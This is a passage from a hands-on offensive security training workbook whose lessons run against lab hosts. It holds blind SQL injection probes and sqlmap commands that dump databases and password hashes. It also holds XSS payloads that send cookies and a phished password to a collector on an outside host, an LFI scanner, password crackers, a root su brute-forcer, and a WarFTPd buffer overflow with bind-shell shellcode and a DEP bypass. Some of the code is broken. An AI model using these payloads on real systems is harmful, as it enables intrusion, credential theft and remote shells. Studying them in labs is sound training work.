http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
7160
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
7161
 
7162
O - 3rd Character
7163
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
7164
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
7165
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
7166
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
7167
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
7168
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
7169
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
7170
 
7171
 -----------------------------------------------------------------------
7172
 
7173
7174
7175
7176
 ####File not Found
7177
 ##########
7178
# Sqlmap #
7179
##########
7180
If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
7181
7182
  ---------------------------Type This-----------------------------------
7183
7184
cd /home/strategicsec/toolz/sqlmap-dev/
7185
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
7186
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
7187
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
7188
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
7189
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
7190
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
7191
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
7192
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
7193
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
7194
python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords 
7195
 
7196
 -----------------------------------------------------------------------
7197
7198
###############################################################################
7199
# What is XSS                                                                 #
7200
# http://45.63.104.73/2-Intro_To_XSS.pptx             #
7201
###############################################################################
7202
 
7203
OK - what is Cross Site Scripting (XSS)
7204
 
7205
1. Use Firefox to browse to the following location:
7206
---------------------------Type This-----------------------------------
7207
 
7208
    http://45.63.104.73/xss_practice/
7209
 -----------------------------------------------------------------------
7210
 
7211
    A really simple search page that is vulnerable should come up.
7212
 
7213
 
7214
 
7215
 
7216
2. In the search box type:
7217
---------------------------Type This-----------------------------------
7218
7219
    <script>alert('So this is XSS')</script>
7220
-----------------------------------------------------------------------
7221
 
7222
 
7223
    This should pop-up an alert window with your message in it proving XSS is in fact possible.
7224
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
7225
 
7226
 
7227
3. In the search box type:
7228
---------------------------Type This-----------------------------------
7229
   
7230
    <script>alert(document.cookie)</script>
7231
-----------------------------------------------------------------------
7232
 
7233
 
7234
    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
7235
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
7236
 
7237
4. Now replace that alert script with:
7238
---------------------------Type This-----------------------------------
7239
 
7240
    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
7241
-----------------------------------------------------------------------
7242
 
7243
 
7244
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
7245
 
7246
 
7247
5. Now view the stolen cookie at:
7248
---------------------------Type This-----------------------------------
7249
7250
    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
7251
-----------------------------------------------------------------------
7252
 
7253
 
7254
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
7255
 
7256
 
7257
 
7258
 
7259
 
7260
 
7261
############################
7262
# A Better Way To Demo XSS #
7263
############################
7264
 
7265
 
7266
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
7267
 
7268
 
7269
Use Firefox to browse to the following location:
7270
---------------------------Type This-----------------------------------
7271
 
7272
    http://45.63.104.73/xss_practice/
7273
-----------------------------------------------------------------------
7274
 
7275
 
7276
 
7277
Paste this in the search box
7278
----------------------------
7279
 
7280
 
7281
---------------------------Type This-----------------------------------
7282
 
7283
<script>
7284
password=prompt('Your session is expired. Please enter your password to continue',' ');
7285
document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
7286
</script>
7287
-----------------------------------------------------------------------
7288
 
7289
 
7290
Now view the stolen cookie at:
7291
---------------------------Type This-----------------------------------
7292
7293
    http://45.63.104.73/xss_practice/passwords.html
7294
7295
-----------------------------------------------------------------------
7296
7297
7298
7299
7300
#################################################
7301
# Lesson 25: Python Functions & String Handling #
7302
#################################################
7303
7304
Python can make use of functions:
7305
http://www.tutorialspoint.com/python/python_functions.htm
7306
7307
7308
7309
Python can interact with the 'crypt' function used to create Unix passwords:
7310
http://docs.python.org/2/library/crypt.html
7311
7312
7313
7314
Tonight we will see a lot of the split() method so be sure to keep the following references close by:
7315
http://www.tutorialspoint.com/python/string_split.htm
7316
7317
7318
Tonight we will see a lot of slicing so be sure to keep the following references close by:
7319
http://techearth.net/python/index.php5?title=Python:Basics:Slices
7320
7321
7322
---------------------------Type This-----------------------------------
7323
vi LFI-RFI.py
7324
7325
7326
---------------------------Paste This-----------------------------------
7327
7328
7329
7330
#!/usr/bin/env python3
7331
print("\n### PHP LFI/RFI Detector ###")
7332
7333
import urllib.request, urllib.error, urllib.parse,re,sys
7334
7335
TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
7336
RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
7337
TravLimit = 12
7338
7339
print("==> Testing for LFI vulns..")
7340
TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION 
7341
for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
7342
    TARGET += "../"
7343
    try:
7344
        source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
7345
    except urllib.error.URLError as e:
7346
        print("$$$ We had an Error:",e)
7347
        sys.exit(0)
7348
    if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
7349
        print("!! ==> LFI Found:",TARGET+"etc/passwd")
7350
        break ## BREAK LOOP WHEN VULN FOUND
7351
7352
print("\n==> Testing for RFI vulns..")
7353
TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
7354
try:
7355
    source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
7356
except urllib.error.URLError as e:
7357
    print("$$$ We had an Error:",e)
7358
    sys.exit(0)
7359
if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
7360
    print("!! => RFI Found:",TARGET)
7361
    
7362
print("\nScan Complete\n") ## DONE
7363
7364
7365
7366
7367
-----------------------------------------------------------------------
7368
7369
7370
-----------------------------------------------------------------------
7371
7372
7373
################################
7374
# Lesson 26: Password Cracking #
7375
################################
7376
7377
---------------------------Type This-----------------------------------
7378
7379
wget http://45.63.104.73/htcrack.py
7380
7381
vi htcrack.py
7382
7383
7384
---------------------------Paste This-----------------------------------
7385
#!/usr/bin/env python
7386
7387
import crypt, sys
7388
7389
if len(sys.argv) != 3:
7390
	print("Usage: ./htcrack.py <password> <wordlist>")
7391
	print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]");
7392
	sys.exit(1)
7393
	
7394
pw = sys.argv[1].split(":",1)
7395
try:
7396
  words = open(sys.argv[2], "r")
7397
except(IOError): 
7398
  print("Error: Check your wordlist path\n")
7399
  sys.exit(1)
7400
wds = words.readlines()
7401
print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
7402
print("     - http://darkcode.ath.cx -")
7403
print("\n",len(wds),"words loaded...")
7404
for w in wds:
7405
	if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]: 
7406
		print("\nCracked:",pw[0]+":"+w,"\n")
7407
7408
7409
---------------------------Type This-----------------------------------
7410
vi list.txt
7411
7412
---------------------------Paste This-----------------------------------
7413
7414
hello
7415
goodbye
7416
red
7417
blue
7418
yourname
7419
tim
7420
bob
7421
7422
-----------------------------------------------------------------------
7423
7424
---------------------------Type This-----------------------------------
7425
7426
htpasswd -nd yourname
7427
	- enter yourname as the password
7428
7429
7430
7431
$ python3 htcrack.py joe:7XsJIbCFzqg/o list.txt
7432
7433
7434
7435
7436
sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
7437
7438
7439
7440
sudo /bin/bash
7441
7442
passwd
7443
	***set root password***
7444
7445
7446
7447
---------------------------Type This-----------------------------------
7448
7449
vi rootbrute.py
7450
7451
---------------------------Paste This-----------------------------------
7452
7453
7454
#!/usr/bin/env python3
7455
7456
import sys
7457
try:
7458
        import pexpect
7459
except(ImportError):
7460
        print("\nYou need the pexpect module.")
7461
        print("http://www.noah.org/wiki/Pexpect\n")
7462
        sys.exit(1)
7463
7464
#Change this if needed.
7465
# LOGIN_ERROR = 'su: incorrect password'
7466
LOGIN_ERROR = "su: Authentication failure"
7467
7468
def brute(word):
7469
        print("Trying:",word)
7470
        child = pexpect.spawn('/bin/su')
7471
        child.expect('Password: ')
7472
        child.sendline(word)
7473
        i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
7474
        if i == 1:
7475
                print("Incorrect Password")
7476
7477
        if i == 2:
7478
                print("\n\t[!] Root Password:" ,word)
7479
                child.sendline ('id')
7480
                print(child.before)
7481
                child.interact()
7482
7483
if len(sys.argv) != 2:
7484
        print("\nUsage : ./rootbrute.py <wordlist>")
7485
        print("Eg: ./rootbrute.py words.txt\n")
7486
        sys.exit(1)
7487
7488
try:
7489
        words = open(sys.argv[1], "r").readlines()
7490
except(IOError):
7491
        print("\nError: Check your wordlist path\n")
7492
        sys.exit(1)
7493
7494
print("\n[+] Loaded:",len(words),"words")
7495
print("[+] BruteForcing...\n")
7496
for word in words:
7497
        brute(word.replace("\n",""))
7498
7499
7500
-----------------------------------------------------------------------
7501
7502
7503
References you might find helpful:
7504
http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
7505
7506
7507
7508
7509
7510
7511
7512
---------------------------Type This-----------------------------------
7513
it does not work in python 3 we must change the module
7514
7515
wget http://45.63.104.73/md5crack.py
7516
7517
vi md5crack.py
7518
7519
#!/usr/bin/env python3
7520
7521
import md5hash, base64, sys
7522
7523
if len(sys.argv) != 3:
7524
	print("Usage: ./md5crack.py <hash> <wordlist>")
7525
	sys.exit(1)
7526
	
7527
pw = sys.argv[1]
7528
wordlist = sys.argv[2]
7529
try:
7530
  words = open(wordlist, "r")
7531
except(IOError): 
7532
  print("Error: Check your wordlist path\n")
7533
  sys.exit(1)
7534
words = words.readlines()
7535
print("\n",len(words),"words loaded...")
7536
hashes = {}
7537
for word in words:
7538
	hash = md5.new()
7539
	hash.update(word[:-1])
7540
	value = hash.hexdigest()
7541
	hashes[word[:-1]] = value
7542
for (key, value) in list(hashes.items()):
7543
	if pw == value: 
7544
		print("Password is:",key,"\n")
7545
7546
-----------------------------------------------------------------------
7547
7548
7549
7550
7551
Why use hexdigest
7552
http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
7553
7554
7555
7556
7557
http://md5online.net/
7558
7559
7560
7561
---------------------------Type This-----------------------------------
7562
7563
7564
wget http://45.63.104.73/wpbruteforcer.py
7565
7566
7567
-----------------------------------------------------------------------
7568
7569
7570
7571
#############
7572
# Functions #
7573
#############
7574
7575
7576
***********************
7577
* What are Functions? *
7578
***********************
7579
7580
7581
Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
7582
7583
How do you write functions in Python?
7584
7585
Python makes use of blocks.
7586
7587
A block is a area of code of written in the format of:
7588
7589
 block_head:
7590
    
7591
      1st block line
7592
    
7593
      2nd block line
7594
    
7595
      ...
7596
7597
7598
Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
7599
7600
Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
7601
7602
def my_function():
7603
    print("Hello From My Function!")
7604
7605
7606
Functions may also receive arguments (variables passed from the caller to the function). For example:
7607
7608
def my_function_with_args(username, greeting):
7609
    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
7610
7611
7612
Functions may return a value to the caller, using the keyword- 'return' . For example:
7613
7614
def sum_two_numbers(a, b):
7615
    return a + b
7616
7617
7618
****************************************
7619
* How do you call functions in Python? *
7620
****************************************
7621
7622
Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
7623
7624
# Define our 3 functions
7625
---------------------------Paste This-----------------------------------
7626
7627
def my_function():
7628
    print("Hello From My Function!")
7629
7630
def my_function_with_args(username, greeting):
7631
    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
7632
7633
def sum_two_numbers(a, b):
7634
    return a + b
7635
7636
# print(a simple greeting)
7637
my_function()
7638
7639
#prints - "Hello, Joe, From My Function!, I wish you a great year!"
7640
my_function_with_args("Joe", "a great year!")
7641
7642
# after this line x will hold the value 3!
7643
x = sum_two_numbers(1,2)
7644
-----------------------------------------------------------------------
7645
7646
7647
************
7648
* Exercise *
7649
************
7650
7651
In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
7652
7653
Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
7654
7655
Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
7656
7657
Run and see all the functions work together!
7658
7659
7660
---------------------------Paste This-----------------------------------
7661
7662
# Modify this function to return a list of strings as defined above
7663
def list_benefits():
7664
    pass
7665
7666
# Modify this function to concatenate to each benefit - " is a benefit of functions!"
7667
def build_sentence(benefit):
7668
    pass
7669
7670
def name_the_benefits_of_functions():
7671
    list_of_benefits = list_benefits()
7672
    for benefit in list_of_benefits:
7673
        print(build_sentence(benefit))
7674
7675
name_the_benefits_of_functions()
7676
7677
7678
-----------------------------------------------------------------------
7679
7680
7681
7682
Broken link
7683
7684
Please download this file to your Windows host machine, and extract it to your Desktop.
7685
http://45.63.104.73/ED-Workshop-Files.zip
7686
 
7687
 
7688
 
7689
 
7690
 
7691
###########################
7692
# Lab 1a: Stack Overflows #
7693
###########################
7694
 
7695
    #############################
7696
    # Start WarFTPd             #
7697
    # Start WinDBG              #
7698
    # Press F6                  #
7699
    # Attach to war-ftpd.exe    #
7700
    #############################
7701
---------------------------Type This-----------------------------------
7702
7703
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
7704
 
7705
 
7706
python warftpd1.py | nc XPSP3-ED-Target-IP 21
7707
7708
 
7709
    At WINDBG prompt
7710
    “r” to show registers or “alt+4”
7711
    dd esp
7712
 
7713
-----------------------------------------------------------------------
7714
---------------------------Type This-----------------------------------
7715
 
7716
python warftpd2.py | nc XPSP3-ED-Target-IP 21
7717
 
7718
 
7719
    At WINDBG prompt
7720
    “r” to show registers or “alt+4”
7721
    dd esp
7722
-----------------------------------------------------------------------
7723
 
7724
    Eip: 32714131
7725
    esp: affd58     (71413471)
7726
 
7727
    Now we need to SSH into the StrategicSec Ubuntu host
7728
 ---------------------------Type This-----------------------------------
7729
7730
    cd /home/strategicsec/toolz/metasploit/tools/exploit
7731
 
7732
    ruby pattern_offset.rb 32714131
7733
    485
7734
   
7735
    ruby pattern_offset.rb 71413471
7736
    493
7737
-----------------------------------------------------------------------
7738
 
7739
    Distance to EIP is:         485
7740
    Relative position of ESP is:    493
7741
 
7742
    RET – POP EIP
7743
    RET 4 – POP EIP and shift ESP down by 4 bytes
7744
  ---------------------------Type This-----------------------------------
7745
7746
    cd /home/strategicsec/toolz/metasploit/
7747
    ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
7748
 -----------------------------------------------------------------------
7749
7750
        0x7c9c167d push esp; retn 0x304d
7751
        0x7c9d30d7 jmp esp < - how about we use this one
7752
        0x7c9d30eb jmp esp
7753
        0x7c9d30ff jmp esp
7754
 
7755
 
7756
        warftpd3.py with Notepad++
7757
        Fill in the appropriate values
7758
        Distance to EIP
7759
        Address of JMP ESP
7760
 
7761
 
7762
  ---------------------------Type This-----------------------------------
7763
 
7764
python warftpd3.py | nc XPSP3-ED-Target-IP 21
7765
 
7766
    0:003> dd eip
7767
    0:003> dd esp
7768
 
7769
 -----------------------------------------------------------------------
7770
 
7771
 
7772
 
7773
 
7774
    Mention bad characters
7775
    No debugger
7776
 
7777
  ---------------------------Type This-----------------------------------
7778
 
7779
 
7780
python warftpd4.py | nc XPSP3-ED-Target-IP 21
7781
 
7782
nc XPSP3-ED-Target-IP 4444
7783
 
7784
  -----------------------------------------------------------------------
7785
7786
 
7787
7788
 
7789
There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
7790
 
7791
Shellcode test 1: Calculate space for shellcode
7792
Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
7793
 
7794
 
7795
 
7796
 
7797
 
7798
Shellcode test 2: Identify bad characters
7799
 
7800
Replace the INT3 (cc) dummy shellcode with this string:
7801
  ---------------------------Type This-----------------------------------
7802
7803
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
7804
 
7805
  -----------------------------------------------------------------------
7806
 
7807
Send this new shellcode string and identify the places where it truncates - these are the bad characters
7808
 
7809
 
7810
 
7811
 
7812
Here is what the string looks like after I manually tested and removed each of the bad characters:
7813
  ---------------------------Type This-----------------------------------
7814
7815
shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
7816
 
7817
  -----------------------------------------------------------------------
7818
 
7819
 
7820
   ---------------------------Type This-----------------------------------
7821
7822
./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
7823
 
7824
   -----------------------------------------------------------------------
7825
7826
 
7827
 
7828
 
7829
###########################################
7830
# Lab 1b: Stack Overflows with DEP Bypass #
7831
###########################################
7832
 
7833
Reboot your target host and choose the "2nd" option for DEP.
7834
 
7835
   ---------------------------Type This-----------------------------------
7836
 
7837
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
7838
 
7839
 
7840
 
7841
 
7842
python warftpd1.py | nc XPSP3-ED-Target-IP 21
7843
 
7844
    At WINDBG prompt
7845
    “r” to show registers or “alt+4”
7846
 
7847
    dd esp
7848
 
7849
   -----------------------------------------------------------------------
7850
 
7851
   ---------------------------Type This-----------------------------------
7852
7853
python warftpd2.py | nc XPSP3-ED-Target-IP 21
7854
 
7855
 
7856
    At WINDBG prompt
7857
    “r” to show registers or “alt+4”
7858
    dd esp
7859
   -----------------------------------------------------------------------
7860
 
7861
    Eip: 32714131
7862
    esp: affd58     (71413471)
7863
 
7864
    Now we need to SSH into the StrategicSec Ubuntu host
7865
    ---------------------------Type This-----------------------------------
7866
7867
    cd /home/strategicsec/toolz/metasploit/tools/exploit
7868
 
7869
    ruby pattern_offset.rb 32714131
7870
    485
7871
   
7872
    ruby pattern_offset.rb 71413471
7873
    493
7874
7875
7876
 
7877
 
7878
 
7879
 
7880
 
7881
 
7882
cd /home/strategicsec/toolz/metasploit/tools/exploit
7883
 
7884
ruby pattern_offset.rb 32714131
7885
 
7886
cd /home/strategicsec/toolz/metasploit/
7887
 
7888
./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
7889
 
7890
 
7891
 
7892
python warftpd3.py | nc XPSP3-ED-Target-IP 21
7893
 
7894
    0:003> dd eip
7895
    0:003> dd esp
7896
-----------------------------------------------------------------------
7897
 
7898
INT3s - GOOD!!!!!!!
7899
 
7900
---------------------------Type This-----------------------------------
7901
7902
 
7903
python warftpd4.py | nc XPSP3-ED-Target-IP 21
7904
 
7905
nc XPSP3-ED-Target-IP 4444
7906
-----------------------------------------------------------------------
7907
7908
 
7909
strategicsec....exploit no workie!!!!
7910
 
7911
 
7912
Why????????? DEP!!!!!!!!!!!!!
7913
 
7914
 
7915
 
7916
 
7917
Let's look through ole32.dll for the following instructions:
7918
 
7919
mov al,0x1
7920
ret 0x4
7921
 
7922
We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
7923
 
7924
 
7925
---------------------------Type This-----------------------------------
7926
 
7927
./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
7928
-----------------------------------------------------------------------
7929
7930
[DLLs/xpsp3/ole32.dll]
7931
0x775ee00e b001c204
7932
0x775ee00e      mov al, 1
7933
0x775ee010      ret 4
7934
 
7935
 
7936
Then we need to jump to the LdrpCheckNXCompatibility routine in
7937
ntdll.dll that disables DEP.
7938
 
7939
 
7940
 
7941
Inside of ntdll.dll we need to find the following instructions:
7942
 
7943
CMP AL,1
7944
PUSH 2
7945
POP ESI
7946
JE ntdll.7
7947
 
7948
---------------------------Type This-----------------------------------
7949
7950
 
7951
./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
7952
-----------------------------------------------------------------------
7953
7954
[DLLs/xpsp3/ntdll.dll]
7955
0x7c91cd24 3c016a025e0f84
7956
0x7c91cd24      cmp al, 1
7957
0x7c91cd26      push 2
7958
0x7c91cd28      pop esi
7959
0x7c91cd29      jz 7
7960
 
7961
 
7962
This set of instructions makes sure that AL is set to 1, 2 is pushed
7963
on the stack then popped into ESI.
7964
 
7965
 
7966
 
7967
---------------------------Paste This-----------------------------------
7968
 
7969
 
7970
dep = "\x0e\xe0\x5e\x77"+\
7971
"\xff\xff\xff\xff"+\
7972
"\x24\xcd\x91\x7c"+\
7973
"\xff\xff\xff\xff"+\
7974
"A"*0x54
7975
 
7976
-----------------------------------------------------------------------
7977
7978
 
7979
    #############################
7980
    # Start WarFTPd             #
7981
    # Start WinDBG              #
7982
    # Press F6                  #
7983
    # Attach to war-ftpd.exe    #
7984
    # bp 0x775ee00e             #
7985
    # g                         #
7986
    #############################
7987
 
7988
 
7989
---------------------------Type This-----------------------------------
7990
7991
 
7992
python warftpd5.py | nc XPSP3-ED-Target-IP 21
7993
 
7994
-----------------------------------------------------------------------
7995
We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
7996
 
7997
    mov al,0x1
7998
    ret 0x4
7999
 
8000
 
8001
 
8002
 
8003
0:005> g
8004
Breakpoint 0 hit
8005
eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8006
eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
8007
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
8008
ole32!CSSMappedStream::IsWriteable:
8009
775ee00e b001            mov     al,1
8010
 
8011
 
8012
0:001> t
8013
eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8014
eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
8015
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
8016
ole32!CSSMappedStream::IsWriteable+0x2:
8017
775ee010 c20400          ret     4
8018
 
8019
 
8020
 
8021
 
8022
 
8023
---------------------------------------------------------------------------
8024
Ok, so inside of ntdll.dll we need to find the following instructions:
8025
 
8026
    CMP AL,1
8027
    PUSH 2
8028
    POP ESI
8029
    JE ntdll.7
8030
 
8031
0:001> t
8032
eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8033
eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
8034
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
8035
ntdll!LdrpCheckNXCompatibility+0x13:
8036
7c91cd24 3c01            cmp     al,1
8037
 
8038
 
8039
0:001> t
8040
eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8041
eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
8042
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
8043
ntdll!LdrpCheckNXCompatibility+0x15:
8044
7c91cd26 6a02            push    2
8045
 
8046
 
8047
0:001> t
8048
eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8049
eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
8050
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
8051
ntdll!LdrpCheckNXCompatibility+0x17:
8052
7c91cd28 5e              pop     esi
8053
 
8054
 
8055
0:001> t
8056
eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
8057
eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
8058
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
8059
ntdll!LdrpCheckNXCompatibility+0x18:
8060
7c91cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
8061
 
8062
 
8063
---------------------------------------------------------------------------
8064
 
8065
 
8066
